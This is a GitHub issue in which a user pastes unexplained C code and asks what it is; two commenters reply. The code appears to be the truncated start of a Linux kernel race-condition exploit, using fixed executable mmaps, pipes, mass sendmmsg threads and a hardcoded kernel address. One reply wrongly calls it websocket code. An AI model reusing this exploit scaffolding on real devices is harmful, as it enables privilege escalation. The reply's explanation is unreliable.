Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

What's this #33

Open
RUSSIANKGB23 opened this issue Sep 20, 2021 · 2 comments
Open

What's this #33

RUSSIANKGB23 opened this issue Sep 20, 2021 · 2 comments

Comments

@RUSSIANKGB23
Copy link

#define _GNU_SOURCE#include <pthread.h>#include <stdio.h>#include <stdlib.h>#include <fcntl.h> #include <netinet/ip.h> #include <sys/mman.h>#include <sys/uio.h>#include <sys/types.h>#include <sys/socket.h>#include <sys/stat.h> #define INADDR_LOOPBACK (0x7f000001) /* 127.0.0.1 */ unsigned long kill_switch = 0; #define MMAP_START (0x40000000)#define MMAP_SIZE (0x1000)#define MMAP_BASE(i) (MMAP_START + (i) * MMAP_SIZE)#define NR_MMAPS (512)enum mmap_status_t { MMAP_MAPPED = 0, MMAP_UNMAPPED};struct mmap_info_t { size_t base; size_t len; void * vaddr; enum mmap_status_t status;};struct mmap_info_t mmap_info[NR_MMAPS];pthread_t mmap_thread;static struct iovec mmap_iov[NR_MMAPS]; #define NR_PIPES (1)#define MAX_RACE_SECS (5)struct pipe_pair_t { int fd [ 2 ];};struct pipe_pair_t pipes[NR_PIPES];pthread_t pipe_read_threads[NR_PIPES];pthread_t pipe_write_threads[NR_PIPES]; #define NR_SOCKS (1000)pthread_t sendmmsg_threads[NR_SOCKS]; static inline void init_mmap(){ int i; for (i = 0; i < NR_MMAPS; i++) { mmap_info[i].base = MMAP_BASE(i);mmap_info [i]. len = MMAP_SIZE; mmap_info[i].vaddr = mmap( (void *)mmap_info[i].base, mmap_info[i].len, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0 ); if (mmap_info[i].vaddr == (void *)-1) { perror("mmap failed"); exit(1); } mmap_iov[i].iov_base = mmap_info[i].vaddr; switch(i) { case 0:mmap_iov [i]. iov_len = 0 ; break; case 1:mmap_iov [i]. iov_len = 32 ; break; default:mmap_iov [i]. iov_len = 8 ; } } return;} static inline void init_pipes(){ int i; for (i = 0; i < NR_PIPES; i++) { if (pipe(pipes[i].fd) == -1) { perror("pipe failed"); exit(1); } } return;} int server_sockfd;struct sockaddr_in sk_client;#define UDP_SERVER_PORT (5105)struct iovec msg_iovecs[NR_MMAPS];size_t target_addr = 0xffffffc001e3c0c4UL;static inline void init_sock(){ int i; struct sockaddr_in server; server_sockfd = socket (AF_INET, SOCK_DGRAM, 0 ); if (server_sockfd == -1) { perror("socket failed"); exit(2); } server. sin_family = AF_INET;

@fidelisnwabisi
Copy link

I have no idea

@codinguyy
Copy link

codinguyy commented Oct 2, 2022

I would say a web socket to be able to connect to a certain website or get data from a Server via a websocket

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants